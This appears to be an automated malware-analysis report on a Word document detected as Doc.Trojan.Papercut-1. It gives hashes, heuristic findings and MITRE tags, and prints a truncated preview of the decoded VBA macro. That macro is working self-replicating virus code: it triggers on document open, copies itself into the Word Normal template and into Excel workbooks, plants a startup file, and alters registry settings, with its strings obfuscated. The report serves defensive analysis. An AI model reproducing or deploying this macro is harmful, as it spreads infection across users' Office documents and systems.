Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 be192cc66e18cb5b…

MALICIOUS

Office (OLE)

37.0 KB Created: 2001-03-28 07:46:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 6d6da4d51a39427dbf99e48ae6751827 SHA-1: 35353188da3031cc7cfa8ad48900060395fd7ab2 SHA-256: be192cc66e18cb5bcff3a98244b6bf3337d56bd3eeaee5db7d03dc58caada675
420 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER heuristic, indicating an obfuscated auto-exec VBA loader. The Document_Open macro is present and uses Shell() and CreateObject calls, typical for downloading and executing additional payloads. The VBA script attempts to modify registry keys related to VBA code colors, which is an unusual behavior for a legitimate document.

Heuristics 8

  • ClamAV: Doc.Trojan.Papercut-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Papercut-1
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8197 bytes
SHA-256: 9552a6c4bfaaa90b112270fd28430637b4de9b708428197aae8b52779ce95119
Detection
ClamAV: Doc.Trojan.Papercut-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'
On Error Resume Next
Set a = Application: e = a.Version:
wo = Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(87) + Chr(111) + Chr(114) + Chr(107) + Chr(98) + Chr(111) + Chr(111) + Chr(107)
If a = Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
p = 0
Set act = ActiveWorkbook.VBProject.VBComponents(wo).CodeModule
Set dis = ThisWorkbook.VBProject.VBComponents(wo).CodeModule
End If
If a <> Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
p = 1
Set act = ActiveDocument.VBProject.VBComponents.Item(p).CodeModule
Set dis = NormalTemplate.VBProject.VBComponents.Item(p).CodeModule
If dis.Lines(2, 1) <> "'" Then
dis.deletelines 1, dis.countoflines
dis.insertlines 1, act.Lines(1, act.countoflines)
dis.Save
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 0 1 1 1 1 0 0 0 0 0 0 0 0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeBackColors") = "1 1 0 1 1 0 0 0 0 0 0 0 0 0 0 0"

End If
End If
If act.Lines(2, 1) <> "'" Then
act.deletelines 1, act.countoflines
act.insertlines 1, dis.Lines(1, dis.countoflines)
If a = Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
ActiveWorkbook.Save
Else
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
If a = Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
Drop = "true"
Set WordObj = GetObject(, "Word.Application")
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application")
crossQuit = True
Set ohio = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
If ohio.Lines(2, 1) <> "'" Then
WordObj.Options.SaveNormalPrompt = False
ohio.deletelines 1, ohio.countoflines
ohio.insertlines 1, dis.Lines(1, dis.countoflines)
ohio.Replaceline 1, "Private Sub Document_Open"
ohio.Save
End If
If crossQuit = True Then WordObj.Quit
End If
End If
If a <> Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
ra = Dir("c:\papercut.reg")
If ra = "" Then Drop = "true"
If Drop <> "true" Then GoTo hd300
Set xlapp = CreateObject("Excel.Application")
Set book1Obj = xlapp.Workbooks.Add
chk = Dir(xlapp.Application.StartupPath & "\Book1.xls")
If chk = "" Then
book1Obj.VBProject.VBComponents.Item(wo).CodeModule.insertlines 1, dis.Lines(1, dis.countoflines)
book1Obj.VBProject.VBComponents.Item(wo).CodeModule.Replaceline 1, "Private Sub Workbook_Deactivate()"
book1Obj.SaveAs xlapp.Application.StartupPath & "\Book1.xls"
book1Obj.Close
Drop = "true"
End If
xlapp.Quit

End If
hd300:
If Drop = "true" Then
Open "c:\base.reg" For Output As 1
Print #1, Chr(82) + Chr(69) + Chr(71) + Chr(69) + Chr(68) + Chr(73) + Chr(84) + Chr(52)
Print #1, Chr(91) + Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(67) + Chr(85) + Chr(82) + Chr(82) + Chr(69) + Chr(78) + Chr(84) + Chr(95) + Chr(85) + Chr(83) + Chr(69) + Chr(82) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(56) + Chr(46) + Chr(48) + Chr(92) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108
... (truncated)